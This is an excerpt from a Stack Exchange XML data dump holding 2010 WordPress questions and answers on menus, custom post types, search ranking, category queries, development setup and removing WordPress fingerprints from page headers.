  <row Id="1503" PostTypeId="1" CreationDate="2010-09-08T05:54:57.703" Score="2" ViewCount="634" Body="&lt;p&gt;well, I really would like one &amp;amp; more of my top-level menu items (parent menu items that has child menu items) to be non-clickable, so that visitors can only click on the child menu items...could be very nice for a horizontally positioned menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any plugin out there that can do the trick (or trick or hack or....)?&lt;/p&gt;&#xA;" LastActivityDate="2011-04-05T03:09:07.830" Title="non-clickable placeholder in the menu" Tags="&lt;custom-menus&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="1504" PostTypeId="1" AcceptedAnswerId="1625" CreationDate="2010-09-08T06:11:07.117" Score="2" ViewCount="368" Body="&lt;p&gt;Let's say we create an IMDB like website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So (for example) we can have two types of custom post types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;movies&lt;/li&gt;&#xA;&lt;li&gt;actors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We would like to see in each movie page all of it's actors.  And in each actors page all of the movies he played in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this cross linking be done using custom post types? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is it expected to be possible in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there an alternative (in WP) for doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-10T15:59:58.743" Title="Linking between custom post types as if they where taxonomies?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="1505" PostTypeId="2" ParentId="1481" CreationDate="2010-09-08T06:15:49.867" Score="1" ViewCount="" Body="&lt;p&gt;Currently this is not possible if a page menu item is a parent to a category menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example if &lt;strong&gt;About was a category&lt;/strong&gt; and &lt;strong&gt;News was child category&lt;/strong&gt; then the About (category) menu item would be assigned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;current-post-ancestor &lt;/li&gt;&#xA;&lt;li&gt;current-menu-parent &lt;/li&gt;&#xA;&lt;li&gt;current-post-parent &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-08T06:15:49.867" CommentCount="2" />
  <row Id="1506" PostTypeId="2" ParentId="1503" CreationDate="2010-09-08T06:26:00.950" Score="3" ViewCount="" Body="&lt;p&gt;Yes, this is possible by adding a custom link to the menu assigning it any url (for this example I just added #) then click add to menu.  Once it's on the menu open it and remove the url you assigned and save.  If you don't put the url initially WordPress won't let you add it to the menu.  On your pages you will be able to hover over it and the drop down children will appear but you wont be able to click on the parent &quot;place holder&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/DCtiW.png&quot; alt=&quot;alt text&quot;&gt;  &lt;img src=&quot;http://i.stack.imgur.com/Yo411.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-08T06:26:00.950" />
  <row Id="1507" PostTypeId="1" AcceptedAnswerId="1509" CreationDate="2010-09-08T06:42:29.023" Score="23" ViewCount="1860" Body="&lt;p&gt;I have a website for which we are trying to be discreet about the fact that we are using WordPress. What steps can we take to make it less obvious?&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-28T17:40:34.783" LastActivityDate="2011-06-19T05:41:05.417" Title="Steps to Take to Hide the Fact a Site is Using WordPress?" Tags="&lt;security&gt;&lt;customization&gt;" AnswerCount="6" CommentCount="5" FavoriteCount="25" />
  <row Id="1508" PostTypeId="1" AcceptedAnswerId="1518" CreationDate="2010-09-08T07:45:49.777" Score="4" ViewCount="180" Body="&lt;p&gt;The standard search for Wordpress works, but doesn't seem too clever. If I search for 'tomato' and I have a page whose title is 'Tomato' I would expect that to come first in the results. However the results seem to be ordered by date published. So if a page/post mentions 'tomato' somewhere in the text, it will be first in the results if it was just published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I make Wordpress prioritise page titles in the search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using the Starkers theme)&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-09-09T00:13:14.307" Title="How to make Wordpress search prioritise page titles?" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="1509" PostTypeId="2" ParentId="1507" CreationDate="2010-09-08T07:50:25.407" Score="30" ViewCount="" Body="&lt;p&gt;The biggest WordPress giveaways are between the &lt;code&gt;&amp;lt;head&amp;gt; &amp;lt;/head&amp;gt;&lt;/code&gt; tags.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example WordPress head content output by The Twentyten Theme and how to remove:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;profile&quot; href=&quot;http://gmpg.org/xfn/11&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove directly from header.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;http://example.com/wp-content/themes/twentyten/style.css&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hide WordPress by calling your stylesheet from another location and change the wp-content directory.  WordPress requires your theme to include some basic information at the top of style.css (style.css must be in the themes root directory).  You will need to create an alternate CSS and call it from your head.  WordPress does not require you to use the themes style.css it only requires it to be in the themes directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove directly from header.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;Example Blog &amp;amp;raquo; Feed&quot; href=&quot;http://example.com/feed/&quot; /&amp;gt; &#xA;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;Example Blog &amp;amp;raquo; Comments Feed&quot; href=&quot;http://example.com/comments/feed/&quot; /&amp;gt;    &#xA;&amp;lt;link rel=&quot;EditURI&quot; type=&quot;application/rsd+xml&quot; title=&quot;RSD&quot; href=&quot;http://example.com/xmlrpc.php?rsd&quot; /&amp;gt; &#xA;&amp;lt;link rel=&quot;wlwmanifest&quot; type=&quot;application/wlwmanifest+xml&quot; href=&quot;http://example.com/wp-includes/wlwmanifest.xml&quot; /&amp;gt; &#xA;&amp;lt;link rel='index' title='Example Blog' href='http://example.com/' /&amp;gt; &#xA;&amp;lt;meta name=&quot;generator&quot; content=&quot;WordPress 3.1-alpha&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To remove these extra links you can add a filter to functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// remove junk from head&#xA;remove_action('wp_head', 'rsd_link');&#xA;remove_action('wp_head', 'wp_generator');&#xA;remove_action('wp_head', 'feed_links', 2);&#xA;remove_action('wp_head', 'index_rel_link');&#xA;remove_action('wp_head', 'wlwmanifest_link');&#xA;remove_action('wp_head', 'feed_links_extra', 3);&#xA;remove_action('wp_head', 'start_post_rel_link', 10, 0);&#xA;remove_action('wp_head', 'parent_post_rel_link', 10, 0);&#xA;remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change your plugin directory and your wp-content directory in your wp-config.php file but you could have some problems if your theme or any plugins do not use the proper method to call files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/new-wp-content' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set WP_CONTENT_URL to the full URI of this directory (no trailing slash), e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_CONTENT_URL', 'http://example/new-wp-content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Optional&#xA;Set WP_PLUGIN_DIR to the full local path of this directory (no trailing slash), e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_PLUGIN_DIR', $_SERVER['DOCUMENT_ROOT'] . '/new-wp-content/new-plugins' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set WP_PLUGIN_URL to the full URI of this directory (no trailing slash), e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_PLUGIN_URL', 'http://example/new-wp-content/new-plugins');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLUGINS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that some plugins like Akismat, All in One SEO, W3-Total-Cache, Super Cache, and many others add comments to the HTML output.  Most are easy to modify to remove the comments but your changes will be overwritten anytime the plugins get updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wp-includes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wp-includes directory holds jquery and various other js files that themes or plugins will call using wp_enqueue_script().  To change this you will need to deregister the default WordPress scripts and register the new location.  Add to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    if (!is_admin()) {&#xA;        // comment out the next two lines to load the local copy of jQuery&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js', false, '1.3.2');&#xA;        wp_enqueue_script('jquery');&#xA;    }&#xA;}&#xA;add_action('init', 'my_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will need to be done with each script used by your theme or plugins.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-09T00:36:29.203" LastActivityDate="2010-09-09T00:36:29.203" CommentCount="8" />
  <row Id="1511" PostTypeId="1" CreationDate="2010-09-08T09:20:16.973" Score="1" ViewCount="261" Body="&lt;p&gt;I am about to create a webbased guide. A guide that will list numerous of companies - their services, contact information and so on. And I need help coding this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Genesis News Child Theme and I want the following (have looked into Custom Post Types UI and taxonomies but need to develop this further!). It is all really quite straight forward - you are looking for a product/serviece, you need to be able to evaluate if you should contact this company, if yes, you want to know who to call, what they are offering you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the information that need sto be POSSIBLE but not mandatory necessary to add to each post:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Company name (which should be listed as an A-Z list of companies&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Company logo (I am thinking in the sidebar area but not necessary) linked to URL&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Company text description&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Company contact details (here it should be possible to add several contact persons - if there is one KAM for public sector, one for Production industry and so on)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;TAGS - for what they are offering - these (or made in another way) need to be searchable. Let’s say that a company is looking for providers that sell a certain product/service, in a specific market, for their particular industry. This is key - how to make key word searchable  making it possible for users to search for a shortlist of about 10 perfect match companies among maybe houndreds!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Customer references (this could simply be links to PDF:s, but need to be shown visibly)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A list of features/functions that can be ”marked”/”unmarked” (these are commonly asked for features/functions) to help select a solution best suitable for the company searching for it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Recent posts - a company will be able to add an article to the forum, these should be able to track here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A rating system! Functionality/Price/User friendlyness/Service level (in order to be able to  rate each company there needs to be a control system - either emailing us, logging in as a member, being forced to add name and contact number (thus making it possible for us to remove false identities)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I tried to upload images to help show ideas about what I mean but I didn't make it. I need the perfect code to do this! Who can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-06T16:51:36.483" Title="Creating a searchable A-Z listing of hundreds of companies/services" Tags="&lt;customization&gt;&lt;cms&gt;&lt;directory&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="1512" PostTypeId="1" CreationDate="2010-09-08T10:29:05.240" Score="1" ViewCount="1453" Body="&lt;p&gt;Hello friends I am new to wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used query like this query_posts('cat=1,2,3')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now If category 1 is parent of 2 and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then query_posts('cat=1') and query_posts('cat=1,2,3') will get same posts or not?&#xA;or how can I manage If I want to include posts form subcategories.&lt;/p&gt;&#xA;" OwnerUserId="811" LastActivityDate="2011-07-07T00:31:48.797" Title="is query_posts get child category posts?" Tags="&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="1514" PostTypeId="2" ParentId="1511" CreationDate="2010-09-08T11:30:33.117" Score="1" ViewCount="" Body="&lt;p&gt;I think a good starting point is to read through the answer to this question: &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress&quot;&gt;Implementing a CrunchBase.com clone using Wordpress?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That does not cover all the problems you need help with but it's a start.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2010-09-08T11:30:33.117" CommentCount="4" />
  <row Id="1515" PostTypeId="1" AcceptedAnswerId="1555" CreationDate="2010-09-08T12:20:36.783" Score="4" ViewCount="313" Body="&lt;p&gt;In response to &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike Schinkel&lt;/a&gt;'s comment (see below) on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1439/pre-populating-the-page-post-content-editor-with-html-snippets&quot;&gt;my post about how to pre-populate content&lt;/a&gt; (essentially using a content template)...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@Scott B I mean why did you support a&#xA;  file on disk rather than an place in&#xA;  the admin? For multiple, have you&#xA;  considering created a &quot;Sales Letter&quot;&#xA;  custom post type?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, but it sounds like a better solution. How would you do it and where would you store the choices for the content? (I assume you might have a few different types of content templates to offer.)&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-09T01:51:42.530" LastActivityDate="2011-06-04T12:38:16.343" Title="Creating a Custom Post Type for Inserting Preset Content into Post &amp; Pages?" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" />
  <row Id="1516" PostTypeId="1" CreationDate="2010-09-08T12:21:30.370" Score="5" ViewCount="323" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12201/wordpress-multisite-global-categories&quot;&gt;WordPress Multisite - global categories&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have a series of blogs that will use some, but not all, of the same posts. We have one blog where many of the posts are written, and then shared down to the other blogs, based on topic.  We cannot accomplish this properly using categories, though we've thought of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the blogs use the same theme, the theme changes slightly based on the blog.  I would like to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;    'some_categories',&#xA;    array('post'),&#xA;    array ('hierarchical' =&amp;gt; true,&#xA;    'label' =&amp;gt; __('Some Awesome Categories'),&#xA;    'singular_label' =&amp;gt; __('Some Awesome Category'),&#xA;    'query_var' =&amp;gt; 'some_categories')&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're using a path install so if I got to &lt;a href=&quot;http://domain.com/blog1/wp-admin/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/blog1/wp-admin/&lt;/a&gt; and add some categories, they do not show up at &lt;a href=&quot;http://domain.com/blog2/wp-admin/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/blog2/wp-admin/&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I know that WP 3.0 has a different set of tables for each blog, so this may not be possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2010-09-23T20:26:09.470" ClosedDate="2011-06-04T09:26:41.070" Title="Share one taxonomy across multiple blogs in 3.0" Tags="&lt;categories&gt;&lt;taxonomy&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1517" PostTypeId="2" ParentId="1512" CreationDate="2010-09-08T14:24:22.187" Score="4" ViewCount="" Body="&lt;p&gt;In short: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is about the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts Wordpress PHP function&lt;/a&gt;. The link I've placed is the official wordpress codex documentation for that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your example it states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Display posts from only one category ID (and any children of that category):&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;query_posts('cat=4');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope this information is helpful. You find more infos in codex, the function is pretty powerful.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-08T14:24:22.187" />
  <row Id="1518" PostTypeId="2" ParentId="1508" CreationDate="2010-09-08T14:29:30.093" Score="2" ViewCount="" Body="&lt;p&gt;You can replace the default Wordpress search with something more useful. As you have pointed out, the build-in search is very limited. So you're not the first one with this problem. I suggest the following two plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search/&quot; rel=&quot;nofollow&quot;&gt;Search API (Wordpress Plugin)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-sphinx-plugin/&quot; rel=&quot;nofollow&quot;&gt;WordPress Sphinx Search Plugin (Wordpress Plugin)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last one allows to weight between parts of a post. But keep in mind that it needs you to configure and make use of &lt;a href=&quot;http://www.sphinxsearch.com/&quot; rel=&quot;nofollow&quot;&gt;Sphinx&lt;/a&gt;, a free open-source SQL full-text search engine.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-09T00:13:14.307" LastActivityDate="2010-09-09T00:13:14.307" />
  <row Id="1519" PostTypeId="2" ParentId="1504" CreationDate="2010-09-08T14:38:09.497" Score="0" ViewCount="" Body="&lt;p&gt;Next to the pages for Movies and Actors just define two taxonomies: Actors and Movies. Then you can categorize each Movie with a Movie from the Movies Taxonomy and you can categorize each Actor from the Actor Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other end you categorize each Movie with any Actor from the Actors taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then can query a taxonomy to list pages that are part of a specific category (which should be possible) then you have already cross-linked everything as wished with wordpress data-structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the [Movie Page] get that Movies Page [Authors] from the [Authors Taxonomy]. Then query the [Authors Taxonomy] for [Author Pages] that have the specific [Author] from the [Authors Taxonomy] attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the [Author Page] you can do it the other way round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not that firm with Taxonomies but it might be the case that you need to register them per custom post type. This can make some data redundant which generally makes content management more intense.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-08T14:38:09.497" CommentCount="4" />
  <row Id="1520" PostTypeId="1" CreationDate="2010-09-08T15:04:09.640" Score="2" ViewCount="258" Body="&lt;p&gt;I have just started hosting a blog using WordPress. Now, I want to start editing php files to customize (I am a programmer). What are my various options? Should I use FTP, download files and edit locally? Or, should I login to server and edit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-08T16:59:36.533" LastActivityDate="2010-09-08T16:59:36.533" Title="What's the Best Way to Edit WordPress Files?" Tags="&lt;editor&gt;" AnswerCount="2" />
  <row Id="1521" PostTypeId="1" AcceptedAnswerId="1524" CreationDate="2010-09-08T15:19:40.367" Score="2" ViewCount="160" Body="&lt;p&gt;After creating a new WordPress site, how can I edit the default links like &lt;em&gt;&quot;Site Admin&quot;&lt;/em&gt; found in the sidebar &lt;em&gt;&quot;meta&quot;&lt;/em&gt; section?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-08T17:10:58.257" LastActivityDate="2010-09-09T01:18:58.070" Title="Editing the Default Links like &quot;Site Admin&quot; in the Sidebar Meta Section?" Tags="&lt;metabox&gt;" AnswerCount="2" />
  <row Id="1522" PostTypeId="2" ParentId="1520" CreationDate="2010-09-08T15:37:35.170" Score="5" ViewCount="" Body="&lt;p&gt;It really depends on &lt;em&gt;what&lt;/em&gt; you're trying to do.  First of all, you should &lt;strong&gt;never&lt;/strong&gt; edit core WordPress files.  Any changes you make will be lost if and when you upgrade, so if you want to change functionality, use a plug-in.  If you want to change the way your site displays, change the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, you don't want to work on a live site ... things can go wrong, you might miss a semi-colon and break the site, or you might accidentally destroy something you've spent a long time building.  That said, it's still pretty easy to get started with development.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Server Tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First things first, you want to set up a test server on your local system and install WordPress there.  There are several available, but here are a few good ones to look at first:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.easyphp.org/&quot; rel=&quot;nofollow&quot;&gt;EasyPHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wampserver.com/en/&quot; rel=&quot;nofollow&quot;&gt;WAMP Server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;Xampp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you have your testing server set up, install &lt;a href=&quot;http://wordpress.org/download/&quot; rel=&quot;nofollow&quot;&gt;the latest version&lt;/a&gt; of WordPress like you normally would.  Now you have a standalone setup that you control &lt;em&gt;completely&lt;/em&gt; and can test whatever you want &lt;em&gt;without breaking your live site.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Development Environment&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For development, you'll want to use some kind of &lt;a href=&quot;http://en.wikipedia.org/wiki/Integrated_development_environment&quot; rel=&quot;nofollow&quot;&gt;IDE&lt;/a&gt;.  Your choice of development environment is entirely up to you.  Just make sure you comfortable using it.  Some good (free) IDEs for PHP development are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.aptana.com/&quot; rel=&quot;nofollow&quot;&gt;Aptana Studio&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.eclipse.org/&quot; rel=&quot;nofollow&quot;&gt;Eclipse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Microsoft Notepad - Not really an IDE, but if all you want to do is write a few lines of code and you don't care about &lt;a href=&quot;http://en.wikipedia.org/wiki/IntelliSense&quot; rel=&quot;nofollow&quot;&gt;intellisense&lt;/a&gt;, it's just fine.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.apple.com/technologies/tools/xcode.html&quot; rel=&quot;nofollow&quot;&gt;XCode&lt;/a&gt; - Mac only ... but I didn't want to be Windows exclusive :-)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Source Control&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As you develop, you'll want to track whatever changes you make so you can go back and &quot;revert&quot; any mistakes you've made.  Most of us have done it several times ... you edit some code, think it works, and leave for the day.  Then you come back and find out you broke something vital to the system ... but can't remember what you changed the day before to un-do the mistake!  Using some kind of version control system will help you avoid this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://subversion.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;Subversion&lt;/a&gt; - It's a bit older and can be harder to use, but tools like &lt;a href=&quot;http://tortoisesvn.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;TortoiseSVN&lt;/a&gt; make it much easier to work with ... This is also the system used by WordPress to track core changes and submit plug-ins/themes to the repository.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;GIT&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mercurial.selenic.com/&quot; rel=&quot;nofollow&quot;&gt;Mercurial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will get you started with developing for WordPress locally.  You can build you plug-ins, themes, and other code and test it on the latest version of WordPress to make sure it works for you.  Once it's done, tested, and ready for primetime you can upload it to your site or submit it to the &lt;a href=&quot;http://wordpress.org/extend/&quot; rel=&quot;nofollow&quot;&gt;WordPress repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Uploading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you're ready to push your new code to the server, you have a few options.  Plug-ins can be zipped locally and uploaded directly through the WordPress UI.  Themes can, too.  Alternatively, you can always FTP files directly to the server ... this allows you to make small changes in a large plug-in without needing to transfer the whole thing each time.  Here are some good FTP tools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;FileZilla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ipswitchft.com/?k_id=ipshome&quot; rel=&quot;nofollow&quot;&gt;WS_FTP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Other Resources&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are several good tutorials available that discuss plug-in and theme development in detail.  Some of the most important ones (i.e. the ones providing file templates and usable examples) are located in the Codex.  A quick Google search will help you find even more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;Writing a Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;Plugin API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;Theme Development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-08T15:37:35.170" CommentCount="1" />
  <row Id="1523" PostTypeId="2" ParentId="1507" CreationDate="2010-09-08T15:43:28.683" Score="0" ViewCount="" Body="&lt;p&gt;You can customize a theme to exclude all the WordPress information. Also remove meta widget and any widget that would output information about the platform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I prefer to show my gratitude by displaying that I am using WordPress. &lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2010-09-08T15:43:28.683" CommentCount="1" />
